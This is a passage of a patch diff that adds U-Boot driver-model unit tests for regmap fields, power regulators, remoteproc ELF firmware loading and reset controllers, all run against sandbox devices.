+ ut_asserteq(-ERANGE, regmap_read(priv->cfg_regmap, -1, &val));
+
+ return 0;
+}
+DM_TEST(dm_test_devm_regmap, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int test_one_field(struct unit_test_state *uts,
+ struct regmap *regmap,
+ struct regmap_field *field,
+ struct reg_field field_cfg)
+{
+ int j;
+ unsigned int val;
+ int mask = (1 << (field_cfg.msb - field_cfg.lsb + 1)) - 1;
+ int shift = field_cfg.lsb;
+
+ ut_assertok(regmap_write(regmap, field_cfg.reg, 0));
+ ut_assertok(regmap_read(regmap, field_cfg.reg, &val));
+ ut_asserteq(0, val);
+
+ for (j = 0; j <= mask; j++) {
+ ut_assertok(regmap_field_write(field, j));
+ ut_assertok(regmap_field_read(field, &val));
+ ut_asserteq(j, val);
+ ut_assertok(regmap_read(regmap, field_cfg.reg, &val));
+ ut_asserteq(j << shift, val);
+ }
+
+ ut_assertok(regmap_field_write(field, mask + 1));
+ ut_assertok(regmap_read(regmap, field_cfg.reg, &val));
+ ut_asserteq(0, val);
+
+ ut_assertok(regmap_field_write(field, 0xFFFF));
+ ut_assertok(regmap_read(regmap, field_cfg.reg, &val));
+ ut_asserteq(mask << shift, val);
+
+ ut_assertok(regmap_write(regmap, field_cfg.reg, 0xFFFF));
+ ut_assertok(regmap_field_write(field, 0));
+ ut_assertok(regmap_read(regmap, field_cfg.reg, &val));
+ ut_asserteq(0xFFFF & ~(mask << shift), val);
+ return 0;
+}
+
+static int dm_test_devm_regmap_field(struct unit_test_state *uts)
+{
+ int i, rc;
+ struct udevice *dev;
+ struct regmaptest_priv *priv;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_NOP, "regmap-test_0",
+ &dev));
+ priv = dev_get_priv(dev);
+
+ sandbox_set_enable_memio(true);
+ for (i = 0 ; i < ARRAY_SIZE(field_cfgs); i++) {
+ rc = test_one_field(uts, priv->fld_regmap, priv->fields[i],
+ field_cfgs[i]);
+ if (rc)
+ break;
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_devm_regmap_field, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/regulator.c b/test/dm/regulator.c
new file mode 100644
index 00000000000..9e45fd177b9
--- /dev/null
+++ b/test/dm/regulator.c
@@ -0,0 +1,403 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Tests for the driver model regulator API
+ *
+ * Copyright (c) 2015 Samsung Electronics
+ * Przemyslaw Marczak <p.marczak@samsung.com>
+ */
+
+#include <errno.h>
+#include <dm.h>
+#include <fdtdec.h>
+#include <log.h>
+#include <malloc.h>
+#include <dm/device-internal.h>
+#include <dm/root.h>
+#include <dm/util.h>
+#include <dm/test.h>
+#include <dm/uclass-internal.h>
+#include <power/pmic.h>
+#include <power/regulator.h>
+#include <power/sandbox_pmic.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+enum {
+ BUCK1,
+ BUCK2,
+ BUCK3,
+ LDO1,
+ LDO2,
+ OUTPUT_COUNT,
+};
+
+enum {
+ DEVNAME = 0,
+ PLATNAME,
+ OUTPUT_NAME_COUNT,
+};
+
+static const char *regulator_names[OUTPUT_COUNT][OUTPUT_NAME_COUNT] = {
+ /* devname, platname */
+ { SANDBOX_BUCK1_DEVNAME, SANDBOX_BUCK1_PLATNAME },
+ { SANDBOX_BUCK2_DEVNAME, SANDBOX_BUCK2_PLATNAME },
+ { SANDBOX_BUCK3_DEVNAME, SANDBOX_BUCK3_PLATNAME },
+ { SANDBOX_LDO1_DEVNAME, SANDBOX_LDO1_PLATNAME},
+ { SANDBOX_LDO2_DEVNAME, SANDBOX_LDO2_PLATNAME},
+};
+
+/* Test regulator get method */
+static int dm_test_power_regulator_get(struct unit_test_state *uts)
+{
+ struct dm_regulator_uclass_plat *uc_pdata;
+ struct udevice *dev_by_devname;
+ struct udevice *dev_by_platname;
+ const char *devname;
+ const char *platname;
+ int i;
+
+ for (i = 0; i < OUTPUT_COUNT; i++) {
+ /*
+ * Do the test for each regulator's devname and platname,
+ * which are related to a single device.
+ */
+ devname = regulator_names[i][DEVNAME];
+ platname = regulator_names[i][PLATNAME];
+
+ /*
+ * Check, that regulator_get_by_devname() function, returns
+ * a device with the name equal to the requested one.
+ */
+ ut_assertok(regulator_get_by_devname(devname, &dev_by_devname));
+ ut_asserteq_str(devname, dev_by_devname->name);
+
+ /*
+ * Check, that regulator_get_by_platname() function, returns
+ * a device with the name equal to the requested one.
+ */
+ ut_assertok(regulator_get_by_platname(platname, &dev_by_platname));
+ uc_pdata = dev_get_uclass_plat(dev_by_platname);
+ ut_assert(uc_pdata);
+ ut_asserteq_str(platname, uc_pdata->name);
+
+ /*
+ * Check, that the pointers returned by both get functions,
+ * points to the same regulator device.
+ */
+ ut_asserteq_ptr(dev_by_devname, dev_by_platname);
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_power_regulator_get, UT_TESTF_SCAN_FDT);
+
+/* Test regulator set and get Voltage method */
+static int dm_test_power_regulator_set_get_voltage(struct unit_test_state *uts)
+{
+ struct dm_regulator_uclass_plat *uc_pdata;
+ struct udevice *dev;
+ const char *platname;
+ int val_set, val_get;
+
+ /* Set and get Voltage of BUCK1 - set to 'min' constraint */
+ platname = regulator_names[BUCK1][PLATNAME];
+ ut_assertok(regulator_get_by_platname(platname, &dev));
+
+ uc_pdata = dev_get_uclass_plat(dev);
+ ut_assert(uc_pdata);
+
+ val_set = uc_pdata->min_uV;
+ ut_assertok(regulator_set_value(dev, val_set));
+
+ val_get = regulator_get_value(dev);
+ ut_assert(val_get >= 0);
+
+ ut_asserteq(val_set, val_get);
+
+ return 0;
+}
+DM_TEST(dm_test_power_regulator_set_get_voltage, UT_TESTF_SCAN_FDT);
+
+/* Test regulator set and get Current method */
+static int dm_test_power_regulator_set_get_current(struct unit_test_state *uts)
+{
+ struct dm_regulator_uclass_plat *uc_pdata;
+ struct udevice *dev;
+ const char *platname;
+ int val_set, val_get;
+
+ /* Set and get the Current of LDO1 - set to 'min' constraint */
+ platname = regulator_names[LDO1][PLATNAME];
+ ut_assertok(regulator_get_by_platname(platname, &dev));
+
+ uc_pdata = dev_get_uclass_plat(dev);
+ ut_assert(uc_pdata);
+
+ val_set = uc_pdata->min_uA;
+ ut_assertok(regulator_set_current(dev, val_set));
+
+ val_get = regulator_get_current(dev);
+ ut_assert(val_get >= 0);
+
+ ut_asserteq(val_set, val_get);
+
+ /* Check LDO2 current limit constraints - should be -ENODATA */
+ platname = regulator_names[LDO2][PLATNAME];
+ ut_assertok(regulator_get_by_platname(platname, &dev));
+
+ uc_pdata = dev_get_uclass_plat(dev);
+ ut_assert(uc_pdata);
+ ut_asserteq(-ENODATA, uc_pdata->min_uA);
+ ut_asserteq(-ENODATA, uc_pdata->max_uA);
+
+ /* Try set the Current of LDO2 - should return -ENOSYS */
+ ut_asserteq(-ENOSYS, regulator_set_current(dev, 0));
+
+ return 0;
+}
+DM_TEST(dm_test_power_regulator_set_get_current, UT_TESTF_SCAN_FDT);
+
+/* Test regulator set and get Enable method */
+static int dm_test_power_regulator_set_get_enable(struct unit_test_state *uts)
+{
+ const char *platname;
+ struct udevice *dev;
+ bool val_set = true;
+
+ /* Set the Enable of LDO1 - default is disabled */
+ platname = regulator_names[LDO1][PLATNAME];
+ ut_assertok(regulator_get_by_platname(platname, &dev));
+ ut_assertok(regulator_set_enable(dev, val_set));
+
+ /* Get the Enable state of LDO1 and compare it with the requested one */
+ ut_asserteq(regulator_get_enable(dev), val_set);
+
+ return 0;
+}
+DM_TEST(dm_test_power_regulator_set_get_enable, UT_TESTF_SCAN_FDT);
+
+/* Test regulator set and get enable if allowed method */
+static
+int dm_test_power_regulator_set_enable_if_allowed(struct unit_test_state *uts)
+{
+ const char *platname;
+ struct udevice *dev, *dev_autoset;
+ bool val_set = false;
+
+ /* Get BUCK1 - always on regulator */
+ platname = regulator_names[BUCK1][PLATNAME];
+ ut_assertok(regulator_autoset_by_name(platname, &dev_autoset));
+ ut_assertok(regulator_get_by_platname(platname, &dev));
+
+ /* Try disabling always-on regulator */
+ ut_assertok(regulator_set_enable_if_allowed(dev, val_set));
+ ut_asserteq(regulator_get_enable(dev), !val_set);
+
+ return 0;
+}
+DM_TEST(dm_test_power_regulator_set_enable_if_allowed, UT_TESTF_SCAN_FDT);
+
+/* Test regulator set and get mode method */
+static int dm_test_power_regulator_set_get_mode(struct unit_test_state *uts)
+{
+ const char *platname;
+ struct udevice *dev;
+ int val_set = LDO_OM_SLEEP;
+
+ /* Set the mode id to LDO_OM_SLEEP of LDO1 - default is LDO_OM_OFF */
+ platname = regulator_names[LDO1][PLATNAME];
+ ut_assertok(regulator_get_by_platname(platname, &dev));
+ ut_assertok(regulator_set_mode(dev, val_set));
+
+ /* Get the mode id of LDO1 and compare it with the requested one */
+ ut_asserteq(regulator_get_mode(dev), val_set);
+
+ return 0;
+}
+DM_TEST(dm_test_power_regulator_set_get_mode, UT_TESTF_SCAN_FDT);
+
+/* Test regulator set and get suspend Voltage method */
+static int dm_test_power_regulator_set_get_suspend_voltage(struct unit_test_state *uts)
+{
+ struct dm_regulator_uclass_plat *uc_pdata;
+ const struct dm_regulator_ops *ops;
+ struct udevice *dev;
+ const char *platname;
+ int val_set, val_get;
+
+ /* Set and get Voltage of BUCK1 - set to 'min' constraint */
+ platname = regulator_names[BUCK1][PLATNAME];
+ ut_assertok(regulator_get_by_platname(platname, &dev));
+
+ uc_pdata = dev_get_uclass_plat(dev);
+ ut_assert(uc_pdata);
+
+ ops = dev_get_driver_ops(dev);
+
+ if (ops->set_suspend_value && ops->get_suspend_value) {
+ val_set = uc_pdata->suspend_uV;
+ ut_assertok(regulator_set_suspend_value(dev, val_set));
+ val_get = regulator_get_suspend_value(dev);
+ ut_assert(val_get >= 0);
+
+ ut_asserteq(val_set, val_get);
+ }
+ return 0;
+}
+DM_TEST(dm_test_power_regulator_set_get_suspend_voltage, UT_TESTF_SCAN_FDT);
+
+/* Test regulator set and get suspend Enable method */
+static int dm_test_power_regulator_set_get_suspend_enable(struct unit_test_state *uts)
+{
+ const struct dm_regulator_ops *ops;
+ const char *platname;
+ struct udevice *dev;
+ bool val_set = true;
+
+ /* Set the Enable of LDO1 - default is disabled */
+ platname = regulator_names[LDO1][PLATNAME];
+ ut_assertok(regulator_get_by_platname(platname, &dev));
+
+ ops = dev_get_driver_ops(dev);
+
+ if (ops->set_suspend_enable && ops->get_suspend_enable) {
+ ut_assertok(regulator_set_suspend_enable(dev, val_set));
+
+ /*
+ * Get the Enable state of LDO1 and
+ * compare it with the requested one
+ */
+ ut_asserteq(regulator_get_suspend_enable(dev), val_set);
+ }
+ return 0;
+}
+DM_TEST(dm_test_power_regulator_set_get_suspend_enable, UT_TESTF_SCAN_FDT);
+
+/* Test regulator autoset method */
+static int dm_test_power_regulator_autoset(struct unit_test_state *uts)
+{
+ const char *platname;
+ struct udevice *dev, *dev_autoset;
+
+ /*
+ * Test the BUCK1 with fdt properties
+ * - min-microvolt = max-microvolt = 1200000
+ * - min-microamp = max-microamp = 200000
+ * - always-on = set
+ * - boot-on = not set
+ * Expected output state: uV=1200000; uA=200000; output enabled
+ */
+ platname = regulator_names[BUCK1][PLATNAME];
+ ut_assertok(regulator_autoset_by_name(platname, &dev_autoset));
+
+ /* Check, that the returned device is proper */
+ ut_assertok(regulator_get_by_platname(platname, &dev));
+ ut_asserteq_ptr(dev, dev_autoset);
+
+ /* Check the setup after autoset */
+ ut_asserteq(regulator_get_value(dev),
+ SANDBOX_BUCK1_AUTOSET_EXPECTED_UV);
+ ut_asserteq(regulator_get_current(dev),
+ SANDBOX_BUCK1_AUTOSET_EXPECTED_UA);
+ ut_asserteq(regulator_get_enable(dev),
+ SANDBOX_BUCK1_AUTOSET_EXPECTED_ENABLE);
+
+ return 0;
+}
+DM_TEST(dm_test_power_regulator_autoset, UT_TESTF_SCAN_FDT);
+
+/*
+ * Struct setting: to keep the expected output settings.
+ * @voltage: Voltage value [uV]
+ * @current: Current value [uA]
+ * @enable: output enable state: true/false
+ */
+struct setting {
+ int voltage;
+ int current;
+ bool enable;
+};
+
+/*
+ * platname_list: an array of regulator platform names.
+ * For testing regulator_list_autoset() for outputs:
+ * - LDO1
+ * - LDO2
+ */
+static const char *platname_list[] = {
+ SANDBOX_LDO1_PLATNAME,
+ SANDBOX_LDO2_PLATNAME,
+ NULL,
+};
+
+/*
+ * expected_setting_list: an array of regulator output setting, expected after
+ * call of the regulator_list_autoset() for the "platname_list" array.
+ * For testing results of regulator_list_autoset() for outputs:
+ * - LDO1
+ * - LDO2
+ * The settings are defined in: include/power/sandbox_pmic.h
+ */
+static const struct setting expected_setting_list[] = {
+ [0] = { /* LDO1 */
+ .voltage = SANDBOX_LDO1_AUTOSET_EXPECTED_UV,
+ .current = SANDBOX_LDO1_AUTOSET_EXPECTED_UA,
+ .enable = SANDBOX_LDO1_AUTOSET_EXPECTED_ENABLE,
+ },
+ [1] = { /* LDO2 */
+ .voltage = SANDBOX_LDO2_AUTOSET_EXPECTED_UV,
+ .current = SANDBOX_LDO2_AUTOSET_EXPECTED_UA,
+ .enable = SANDBOX_LDO2_AUTOSET_EXPECTED_ENABLE,
+ },
+};
+
+static int list_count = ARRAY_SIZE(expected_setting_list);
+
+/* Test regulator list autoset method */
+static int dm_test_power_regulator_autoset_list(struct unit_test_state *uts)
+{
+ struct udevice *dev_list[2], *dev;
+ int i;
+
+ /*
+ * Test the settings of the regulator list:
+ * LDO1 with fdt properties:
+ * - min-microvolt = max-microvolt = 1800000
+ * - min-microamp = max-microamp = 100000
+ * - always-on = not set
+ * - boot-on = set
+ * Expected output state: uV=1800000; uA=100000; output enabled
+ *
+ * LDO2 with fdt properties:
+ * - min-microvolt = max-microvolt = 3300000
+ * - always-on = not set
+ * - boot-on = not set
+ * Expected output state: uV=300000(default); output disabled(default)
+ * The expected settings are defined in: include/power/sandbox_pmic.h.
+ */
+ ut_assertok(regulator_list_autoset(platname_list, dev_list, false));
+
+ for (i = 0; i < list_count; i++) {
+ /* Check, that the returned device is non-NULL */
+ ut_assert(dev_list[i]);
+
+ /* Check, that the returned device is proper */
+ ut_assertok(regulator_get_by_platname(platname_list[i], &dev));
+ ut_asserteq_ptr(dev_list[i], dev);
+
+ /* Check, that regulator output Voltage value is as expected */
+ ut_asserteq(regulator_get_value(dev_list[i]),
+ expected_setting_list[i].voltage);
+
+ /* Check, that regulator output Current value is as expected */
+ ut_asserteq(regulator_get_current(dev_list[i]),
+ expected_setting_list[i].current);
+
+ /* Check, that regulator output Enable state is as expected */
+ ut_asserteq(regulator_get_enable(dev_list[i]),
+ expected_setting_list[i].enable);
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_power_regulator_autoset_list, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/remoteproc.c b/test/dm/remoteproc.c
new file mode 100644
index 00000000000..ef9e8e5a0df
--- /dev/null
+++ b/test/dm/remoteproc.c
@@ -0,0 +1,260 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * (C) Copyright 2015
+ * Texas Instruments Incorporated - https://www.ti.com/
+ */
+
+#include <config.h>
+#include <dm.h>
+#include <elf.h>
+#include <errno.h>
+#include <remoteproc.h>
+#include <asm/io.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/**
+ * dm_test_remoteproc_base() - test the operations after initializations
+ * @uts: unit test state
+ *
+ * Return: 0 if test passed, else error
+ */
+static int dm_test_remoteproc_base(struct unit_test_state *uts)
+{
+ if (!rproc_is_initialized())
+ ut_assertok(rproc_init());
+
+ /* Ensure we are initialized */
+ ut_asserteq(true, rproc_is_initialized());
+
+
+ /* platform data device 1 */
+ ut_assertok(rproc_stop(0));
+ ut_assertok(rproc_reset(0));
+ /* -> invalid attempt tests */
+ ut_asserteq(-EINVAL, rproc_start(0));
+ ut_asserteq(-EINVAL, rproc_ping(0));
+ /* Valid tests */
+ ut_assertok(rproc_load(0, 1, 0));
+ ut_assertok(rproc_start(0));
+ ut_assertok(rproc_is_running(0));
+ ut_assertok(rproc_ping(0));
+ ut_assertok(rproc_reset(0));
+ ut_assertok(rproc_stop(0));
+
+ /* dt device device 1 */
+ ut_assertok(rproc_stop(1));
+ ut_assertok(rproc_reset(1));
+ ut_assertok(rproc_load(1, 1, 0));
+ ut_assertok(rproc_start(1));
+ ut_assertok(rproc_is_running(1));
+ ut_assertok(rproc_ping(1));
+ ut_assertok(rproc_reset(1));
+ ut_assertok(rproc_stop(1));
+
+ /* dt device device 2 */
+ ut_assertok(rproc_stop(0));
+ ut_assertok(rproc_reset(0));
+ /* -> invalid attempt tests */
+ ut_asserteq(-EINVAL, rproc_start(0));
+ ut_asserteq(-EINVAL, rproc_ping(0));
+ /* Valid tests */
+ ut_assertok(rproc_load(2, 1, 0));
+ ut_assertok(rproc_start(2));
+ ut_assertok(rproc_is_running(2));
+ ut_assertok(rproc_ping(2));
+ ut_assertok(rproc_reset(2));
+ ut_assertok(rproc_stop(2));
+
+ return 0;
+}
+DM_TEST(dm_test_remoteproc_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+#define DEVICE_TO_PHYSICAL_OFFSET 0x1000
+/**
+ * dm_test_remoteproc_elf() - test the ELF operations
+ * @uts: unit test state
+ *
+ * Return: 0 if test passed, else error
+ */
+static int dm_test_remoteproc_elf(struct unit_test_state *uts)
+{
+ u8 valid_elf32[] = {
+ /* @0x00 - ELF HEADER - */
+ /* ELF magic */
+ 0x7f, 0x45, 0x4c, 0x46,
+ /* 32 Bits */
+ 0x01,
+ /* Endianness */
+#ifdef __LITTLE_ENDIAN
+ 0x01,
+#else
+ 0x02,
+#endif
+ /* Version */
+ 0x01,
+ /* Padding */
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ /* Type : executable */
+ 0x02, 0x00,
+ /* Machine: ARM */
+ 0x28, 0x00,
+ /* Version */
+ 0x01, 0x00, 0x00, 0x00,
+ /* Entry */
+ 0x00, 0x00, 0x00, 0x08,
+ /* phoff (program header offset @ 0x40)*/
+ 0x40, 0x00, 0x00, 0x00,
+ /* shoff (section header offset @ 0x90) */
+ 0x90, 0x00, 0x00, 0x00,
+ /* flags */
+ 0x00, 0x00, 0x00, 0x00,
+ /* ehsize (elf header size = 0x34) */
+ 0x34, 0x00,
+ /* phentsize (program header size = 0x20) */
+ 0x20, 0x00,
+ /* phnum (program header number : 1) */
+ 0x01, 0x00,
+ /* shentsize (section header size : 40 bytes) */
+ 0x28, 0x00,
+ /* shnum (section header number: 3) */
+ 0x02, 0x00,
+ /* shstrndx (section header name section index: 1) */
+ 0x01, 0x00,
+ /* padding */
+ 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00,
+
+ /* @0x40 - PROGRAM HEADER TABLE - */
+ /* type : PT_LOAD */
+ 0x01, 0x00, 0x00, 0x00,
+ /* offset */
+ 0x00, 0x00, 0x00, 0x00,
+ /* vaddr */
+ 0x00, 0x00, 0x00, 0x00,
+ /* paddr : physical address */
+ 0x00, 0x00, 0x00, 0x00,
+ /* filesz : 0x20 bytes (program header size) */
+ 0x20, 0x00, 0x00, 0x00,
+ /* memsz = filesz */
+ 0x20, 0x00, 0x00, 0x00,
+ /* flags : readable and executable */
+ 0x05, 0x00, 0x00, 0x00,
+ /* padding */
+ 0x00, 0x00, 0x00, 0x00,
+
+ /* @0x60 - RESOURCE TABLE SECTION - */
+ /* version */
+ 0x01, 0x00, 0x00, 0x00,
+ /* num (0, no entries) */
+ 0x00, 0x00, 0x00, 0x00,
+ /* Reserved */
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+
+ /* @0x70 - SECTION'S NAMES SECTION - */
+ /* section 0 name (".shrtrtab") */
+ 0x2e, 0x73, 0x68, 0x73, 0x74, 0x72, 0x74, 0x61, 0x62, 0x00,
+ /* section 1 name (".resource_table") */
+ 0x2e, 0x72, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x5f,
+ 0x74, 0x61, 0x62, 0x6c, 0x65, 0x00,
+ /* padding */
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+
+ /* @0x90 - SECTION HEADER TABLE - */
+ /* Section 0 : resource table header */
+ /* sh_name - index into section header string table section */
+ 0x0a, 0x00, 0x00, 0x00,
+ /* sh_type and sh_flags */
+ 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
+ /* sh_addr = where the resource table has to be copied to */
+ 0x00, 0x00, 0x00, 0x00,
+ /* sh_offset = 0x60 */
+ 0x60, 0x00, 0x00, 0x00,
+ /* sh_size = 16 bytes */
+ 0x10, 0x00, 0x00, 0x00,
+ /* sh_link, sh_info, sh_addralign, sh_entsize */
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ /* Section 1 : section's names section header */
+ /* sh_name - index into section header string table section */
+ 0x00, 0x00, 0x00, 0x00,
+ /* sh_type and sh_flags */
+ 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ /* sh_addr */
+ 0x00, 0x00, 0x00, 0x00,
+ /* sh_offset = 0x70 */
+ 0x70, 0x00, 0x00, 0x00,
+ /* sh_size = 27 bytes */
+ 0x1b, 0x00, 0x00, 0x00,
+ /* sh_link, sh_info, sh_addralign, sh_entsize */
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ };
+ unsigned int size = ARRAY_SIZE(valid_elf32);
+ struct udevice *dev;
+ phys_addr_t loaded_firmware_paddr, loaded_rsc_table_paddr;
+ void *loaded_firmware, *loaded_rsc_table;
+ u32 loaded_firmware_size, rsc_table_size;
+ ulong rsc_addr, rsc_size;
+ Elf32_Ehdr *ehdr = (Elf32_Ehdr *)valid_elf32;
+ Elf32_Phdr *phdr = (Elf32_Phdr *)(valid_elf32 + ehdr->e_phoff);
+ Elf32_Shdr *shdr = (Elf32_Shdr *)(valid_elf32 + ehdr->e_shoff);
+
+ ut_assertok(uclass_get_device(UCLASS_REMOTEPROC, 0, &dev));
+
+ /*
+ * In its Program Header Table, let the firmware specifies to be loaded
+ * at SDRAM_BASE *device* address (p_paddr field).
+ * Its size is defined by the p_filesz field.
+ */
+ phdr->p_paddr = CFG_SYS_SDRAM_BASE;
+ loaded_firmware_size = phdr->p_filesz;
+
+ /*
+ * This *device* address is converted to a *physical* address by the
+ * device_to_virt() operation of sandbox_test_rproc which returns
+ * DeviceAddress + DEVICE_TO_PHYSICAL_OFFSET.
+ * This is where we expect to get the firmware loaded.
+ */
+ loaded_firmware_paddr = phdr->p_paddr + DEVICE_TO_PHYSICAL_OFFSET;
+ loaded_firmware = map_physmem(loaded_firmware_paddr,
+ loaded_firmware_size, MAP_NOCACHE);
+ ut_assertnonnull(loaded_firmware);
+ memset(loaded_firmware, 0, loaded_firmware_size);
+
+ /* Load firmware in loaded_firmware, and verify it */
+ ut_assertok(rproc_elf32_load_image(dev, (ulong)valid_elf32, size));
+ ut_asserteq_mem(loaded_firmware, valid_elf32, loaded_firmware_size);
+ ut_asserteq(rproc_elf_get_boot_addr(dev, (unsigned long)valid_elf32),
+ 0x08000000);
+ unmap_physmem(loaded_firmware, MAP_NOCACHE);
+
+ /* Resource table */
+ shdr->sh_addr = CFG_SYS_SDRAM_BASE;
+ rsc_table_size = shdr->sh_size;
+
+ loaded_rsc_table_paddr = shdr->sh_addr + DEVICE_TO_PHYSICAL_OFFSET;
+ loaded_rsc_table = map_physmem(loaded_rsc_table_paddr,
+ rsc_table_size, MAP_NOCACHE);
+ ut_assertnonnull(loaded_rsc_table);
+ memset(loaded_rsc_table, 0, rsc_table_size);
+
+ /* Load and verify */
+ ut_assertok(rproc_elf32_load_rsc_table(dev, (ulong)valid_elf32, size,
+ &rsc_addr, &rsc_size));
+ ut_asserteq(rsc_addr, CFG_SYS_SDRAM_BASE);
+ ut_asserteq(rsc_size, rsc_table_size);
+ ut_asserteq_mem(loaded_firmware, valid_elf32 + shdr->sh_offset,
+ shdr->sh_size);
+ unmap_physmem(loaded_firmware, MAP_NOCACHE);
+
+ /* Invalid ELF Magic */
+ valid_elf32[0] = 0;
+ ut_asserteq(-EPROTONOSUPPORT,
+ rproc_elf32_sanity_check((ulong)valid_elf32, size));
+
+ return 0;
+}
+DM_TEST(dm_test_remoteproc_elf, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/reset.c b/test/dm/reset.c
new file mode 100644
index 00000000000..d3158bf4a72
--- /dev/null
+++ b/test/dm/reset.c
@@ -0,0 +1,184 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright (c) 2016, NVIDIA CORPORATION.
+ */
+
+#include <dm.h>
+#include <dm/device-internal.h>
+#include <log.h>
+#include <malloc.h>
+#include <reset.h>
+#include <dm/test.h>
+#include <asm/reset.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* This must match the specifier for mbox-names="test" in the DT node */
+#define TEST_RESET_ID 2
+
+/* This is the other reset phandle specifier handled by bulk */
+#define OTHER_RESET_ID 2
+
+/* Base test of the reset uclass */
+static int dm_test_reset_base(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct reset_ctl reset_method1, reset_method1_1;
+ struct reset_ctl reset_method2, reset_method2_1;
+ struct reset_ctl reset_method3, reset_method3_1;
+ struct reset_ctl reset_method4, reset_method4_1;
+
+ /* Get the device using the reset device */
+ ut_assertok(uclass_get_device_by_name(UCLASS_MISC, "reset-ctl-test",
+ &dev));
+
+ /* Get the same reset port in 2 different ways and compare */
+ ut_assertok(reset_get_by_index(dev, 0, &reset_method1));
+ ut_assertok(reset_get_by_name(dev, NULL, &reset_method1_1));
+ ut_assertok(reset_get_by_index(dev, 1, &reset_method2));
+ ut_assertok(reset_get_by_index_nodev(dev_ofnode(dev), 1,
+ &reset_method2_1));
+ ut_assertok(reset_get_by_index(dev, 2, &reset_method3));
+ ut_assertok(reset_get_by_index_nodev(dev_ofnode(dev), 2,
+ &reset_method3_1));
+ ut_assertok(reset_get_by_index(dev, 3, &reset_method4));
+ ut_assertok(reset_get_by_index_nodev(dev_ofnode(dev), 3,
+ &reset_method4_1));
+
+ ut_asserteq(reset_method1.id, reset_method1_1.id);
+ ut_asserteq(reset_method2.id, reset_method2_1.id);
+ ut_asserteq(reset_method3.id, reset_method3_1.id);
+ ut_asserteq(reset_method4.id, reset_method4_1.id);
+
+ ut_asserteq(true, reset_method1.id != reset_method2.id);
+ ut_asserteq(true, reset_method1.id != reset_method3.id);
+ ut_asserteq(true, reset_method1.id != reset_method4.id);
+ ut_asserteq(true, reset_method2.id != reset_method3.id);
+ ut_asserteq(true, reset_method2.id != reset_method4.id);
+ ut_asserteq(true, reset_method3.id != reset_method4.id);
+
+ ut_asserteq(true, reset_method1_1.id != reset_method2_1.id);
+ ut_asserteq(true, reset_method1_1.id != reset_method3_1.id);
+ ut_asserteq(true, reset_method1_1.id != reset_method4_1.id);
+ ut_asserteq(true, reset_method2_1.id != reset_method3_1.id);
+ ut_asserteq(true, reset_method2_1.id != reset_method4_1.id);
+ ut_asserteq(true, reset_method3_1.id != reset_method4_1.id);
+
+ return 0;
+}
+
+DM_TEST(dm_test_reset_base, UT_TESTF_SCAN_FDT);
+
+static int dm_test_reset(struct unit_test_state *uts)
+{
+ struct udevice *dev_reset;
+ struct udevice *dev_test;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_RESET, "reset-ctl",
+ &dev_reset));
+ ut_asserteq(0, sandbox_reset_query(dev_reset, TEST_RESET_ID));
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_MISC, "reset-ctl-test",
+ &dev_test));
+ ut_assertok(sandbox_reset_test_get(dev_test));
+
+ ut_assertok(sandbox_reset_test_assert(dev_test));
+ ut_asserteq(1, sandbox_reset_query(dev_reset, TEST_RESET_ID));
+
+ ut_assertok(sandbox_reset_test_deassert(dev_test));
+ ut_asserteq(0, sandbox_reset_query(dev_reset, TEST_RESET_ID));
+
+ ut_asserteq(1, sandbox_reset_is_requested(dev_reset, TEST_RESET_ID));
+ ut_assertok(sandbox_reset_test_free(dev_test));
+ ut_asserteq(0, sandbox_reset_is_requested(dev_reset, TEST_RESET_ID));
+
+ return 0;
+}
+DM_TEST(dm_test_reset, UT_TESTF_SCAN_FDT);
+
+static int dm_test_reset_devm(struct unit_test_state *uts)
+{
+ struct udevice *dev_reset;
+ struct udevice *dev_test;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_RESET, "reset-ctl",
+ &dev_reset));
+ ut_asserteq(0, sandbox_reset_query(dev_reset, TEST_RESET_ID));
+ ut_assertok(uclass_get_device_by_name(UCLASS_MISC, "reset-ctl-test",
+ &dev_test));
+ ut_assertok(sandbox_reset_test_get_devm(dev_test));
+
+ ut_assertok(sandbox_reset_test_assert(dev_test));
+ ut_asserteq(1, sandbox_reset_query(dev_reset, TEST_RESET_ID));
+ ut_assertok(sandbox_reset_test_deassert(dev_test));
+ ut_asserteq(0, sandbox_reset_query(dev_reset, TEST_RESET_ID));
+
+ ut_asserteq(1, sandbox_reset_is_requested(dev_reset, TEST_RESET_ID));
+ ut_assertok(device_remove(dev_test, DM_REMOVE_NORMAL));
+ ut_asserteq(0, sandbox_reset_is_requested(dev_reset, TEST_RESET_ID));
+
+ return 0;
+}
